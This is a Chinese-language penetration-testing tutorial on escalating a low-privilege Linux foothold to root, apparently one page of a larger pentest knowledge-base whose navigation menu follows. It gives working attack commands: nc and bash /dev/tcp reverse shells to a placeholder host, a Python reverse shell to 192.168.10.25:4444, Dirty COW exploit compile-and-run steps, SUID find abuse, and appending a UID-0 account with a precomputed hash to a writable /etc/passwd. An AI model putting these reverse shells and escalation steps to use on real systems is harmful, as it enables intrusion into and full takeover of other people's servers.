# Linux系统提权
当拿到了一台Linux服务器的低权限账号后,要通过技术手段提权至 root 用户权限,以执行更多的操作。首先关于Linux提权我们得先明白几个概念。
## linux内核知识
Linux内核版本号由3组数字组成:第一个组数字:内核主版本。 第二个组数字:偶数表示稳定版本;奇数表示开发中版本。第三个组数字:错误修补的次数。
3.10.0就是内核版本号。3就是内核主版本,10表示是稳定版,0表示错误修补次数是0。
```sh
#使用以下命令也可以看到系统内核及版本的一些信息:
uname -a #查看内核的具体信息
cat /proc/version #查看内核的具体信息
cat /etc/centos-release #查看centos发行版本
cat /etc/redhat-release #查看redhat发行版本
```
## Linux提权方法总结
Linux提权的前提:
1. 拿到了一个低权限的账号
2. 能上传和下载文件
3. 机器上有python、java、perl等环境(非必须项)
### 一、Linux反弹提权
**如果手里只有webshell可以利用反弹shell来得到一个shell,反弹的权限是中间件的权限。 **
#### 1、NC反弹shell
**NC详情参考:**https://www.cnblogs.com/nmap/p/6148306.html
**①nc参数介绍**
```sh
-l 指定nc将处于侦听模式,nc被当作server,侦听并接受连接。
-p <port>指定端口,老版本才需要-p
-s 指定发送数据的源IP地址,适用于多网卡机
-u 指定nc使用UDP协议,默认为TCP
-v 输出交互或出错信息,新手调试时尤为有用
-w 超时秒数,后面跟数字
-z 表示zero,表示扫描时不发送任何数据
```
**②nc做tcp监听**
```sh
# 开启本地8080端口监听
nc nc -l -p 80802
```
**③nc反弹服务器shell**
**方法⑴:**公网主机绑定SHELL
```sh
#在公网监听端口5555端口,并绑定shell
nc -lp 5555 -t -e cmd.exe
#在内网主动建立到外网IP:5555的连接
nc -nvv x.x.x.x 5555
```
**方法⑵:**内网主机绑定SHELL
```sh
#在公网监听端口
nc -lp 5555
#在内网机器绑定shell反弹
nc -t -e cmd x.x.x.x 5555
```
#### 2、利用bash直接反弹
**(1) bash反弹一句话**
```sh
#先公网监听
nc -l -p 8080
#在内网bash反弹
bash -i >& /dev/tcp/x.x.x.x/8080 0>&1
```
网上还有很多方法一句话反弹shell,需要自行搜索
### 二、内核漏洞提权——脏牛
1. **脏牛漏洞:**
又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
2. **漏洞范围:**
Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
3. **简要分析:**
该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。
竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。
恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。
3. **exp:**
[https://github.com/gbonacini/CVE-2016-5195](https://github.com/gbonacini/CVE-2016-5195)
#### 示例:脏牛内核提权
1. 首先确定发行版、内核版
```sh
cat /etc/issue
cat /etc/*-release
uname -a
```
2. 根据内核版本,找exp,下载对应dirty.c文件编译
```sh
gcc -pthread dirty.c -o dirty -lcrypt
```
3. 执行当前编译的dirty.c文件,然后输入新密码123456
```sh
./dirty
#执行后,会将原来的passwd文件备份到/tmp目录
#然后创建的新账号是firefart,密码123456
```
4. 等创建成功后,切换到firefart用户
会发现此用户会发现已经是root权限了。
最好立刻再新建一个管理员账号,然后立刻恢复passwd文件。
因为这个提权不是新建了一个账号,而已用新账号替换了root账号,所以要把root账号恢复回去
### 三、SUID提权
SUID(设置用户ID)是赋予文件的一种特殊权限,拥有改权限的程序,任何用户执行的时候都是改命令都是以root权限执行的
suid提权是指这类有S权限的程序,如果能执行命令,那么我们就能从用改程序从普通用户提升到了root权限
#### SUID可用命令
**⑴在本地查找符合条件的文件,有以下三个命令**
```sh
#尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
```
**⑵已知的可用来提权的linux可行性的文件列表如下:**
```sh
nmap
vim
find
bash
more
less
nano
cp
```
#### 示例:利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
1. 查看具有root用户权限的SUID文件
```sh
find / -perm -u=s -type f 2>/dev/null
```
2. 发现有find命令,再确认一下
```sh
ls -lh /usr/bin/find
#权限是rwsr-xr-x 确实有s权限
```
3. 测试是否能用find命令以root权限运行
```sh
/usr/bin/find examples.desktop -exec whoami \;
#发现确实可以以root权限运行
```
4. 然后查看目标网站上是否的python环境
linux服务器一般都自带python,区别是有些2.X,有些3.x
5. 于是我们以root用户的身份利用python反弹shell,
```python
#反弹一个sh类型的shell
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \
s.connect(("192.168.10.25",4444)); \
os.dup2(s.fileno(),0); \
os.dup2(s.fileno(),1); \
os.dup2(s.fileno(),2); \
p=subprocess.call(["/bin/sh","-i"]);'
```
6. 远端nc监听`nc -lvp 4444`
可以看到,在攻击端收到了反弹过来的shell,并且是root身份
>本节来自:https://blog.csdn.net/qq_36119192/article/details/84872644
### 四、Linux配置错误提权
**利用Linux的配置文件错误,导致 /etc/passwd 文件可写入提权**
**对Linux配置进行检查的脚本有:**
https://www.securitysift.com/download/linuxprivchecker.py
http://pentestmonkey.net/tools/audit/unix-privesc-check
**当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。**
接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。
1. 查看 /etc/passwd 的权限,发现任何用户都可以读写。
我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。
2. **首先,使用perl语言生成带有盐值的密码:**
```sh
perl -le 'print crypt("password@123","addedsalt")'
```
3. **然后将test用户的信息加入 /etc/passwd 文件**
```sh
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
```
4. **以`test/password@123`登录主机**
登录成功后,是 root 权限。
### 五、定时任务提权
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。
非root权限的用户是不可以列出root 用户的计划任务的。但是系统的计划任务`/etc、cron*`可以被列出。
默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了。
1. 列出系统定时任务
```sh
ls -l /etc/cron*
```
2. 查看列出的目录中,是否允许普通用户修改
/etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。
如果允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。
### 六、密码复用提权
我们如果在主机上找到了其他应用或数据库的密码,那么很有可能root用户也用该密码,或者该参考该密码命名规则。那么就可以尝试一下 su root 来提权了。
- src导航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查询
- 备案信息查询
- 信用信息查询
- IP反查站点的站
- 浏览器插件
- 收集子域名信息
- 在线平台
- 工具枚举
- ssl与证书透明度
- DNS历史解析
- DNS域传送漏洞
- C段探测
- JS文件域名&ip探测
- 搜索引擎&情报社区
- google黑客
- 威胁情报
- 钟馗之眼
- 收集相关应用信息
- 微信公众号&微博
- APP收集&反编译
- 收集常用端口信息
- 常见端口&解析&总结
- 扫描工具
- 网络空间引擎搜索
- 浏览器插件
- nmap扫描
- 收集敏感信息
- 源码泄露
- 邮箱信息收集
- 备份文件泄露
- 目录&后台扫描
- 公网网盘
- 历史资产
- 指纹&WAF&CDN识别
- 指纹识别
- CDN识别
- 绕过CDN查找真实IP
- WAF识别
- 漏洞资源和社工
- 漏洞公共资源库
- 社会工程
- 资产梳理
- 各种对渗透有帮助的平台
- 扫描器
- 扫描器对比
- AppScan(IBM)_web和系统
- AWVS_web扫描
- X-Scan_系统扫描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_绿盟_web
- 安恒明鉴
- Nessus_系统
- nexpose_系统
- 启明天镜_web_系统
- SQL注入
- 常用函数
- sql注入步骤
- union注入和information_schema库
- 函数和报错注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解决方案
- Access数据库注入
- MSSQL数据库注入
- MYSQL数据库注入
- 神器SQLmap
- xss跨站脚本攻击
- xss原理和分类
- xss案例和修复
- xss绕过技巧
- xss案例
- 文件上传下载包含
- 常有用文件路径
- 文件上传漏洞
- 文件下载漏洞
- 文件包含漏洞
- upload-labs上传漏洞练习
- XXE、SSRF、CSRF
- SSRF原理基础
- SSRF案例实战
- CSRF原理基础
- CSRF案例及防范
- XXE之XML_DTD基础
- XXE之payload与修复
- XXE结合SSRF
- 远程命令执行与反序列化
- 远程命令和代码执行漏洞
- 反序列化漏洞
- 验证码与暴力破解
- 爆破与验证码原理
- CS架构暴力破解
- BS架构暴力破解
- WEB编辑器漏洞
- 编辑器漏洞基础
- Ewebeditor编辑器
- FCKeditor编辑器
- 其他编辑器
- web中间件漏洞
- 中间件解析漏洞
- Tomcat常见的漏洞总结
- Jboss漏洞利用总结
- Weblogic漏洞利用总结
- WEB具体步骤
- 旁注和越权
- CDN绕过
- 越权与逻辑漏洞
- WEB应用常见其他漏洞
- WEB登陆页面渗透思路
- 获取WEBshell思路
- 社工、钓鱼、apt
- 社工和信息收集
- 域名欺骗
- 钓鱼邮件
- 一些钓鱼用的挂马工具
- 代码审计
- 代码审计工具
- WAF绕过
- WAF基础及云WAF
- 各种WAF绕过方法
- 绕过WAF上传文件
- 系统提权
- windows系统提权
- linux系统提权
- 数据库提权操作系统
- 内网横向渗透
- 内网穿透方式
- 一些内网第三方应用提权
- ARP与DOS
- ARP欺骗
- DOS与DDOS
- 一些DOS工具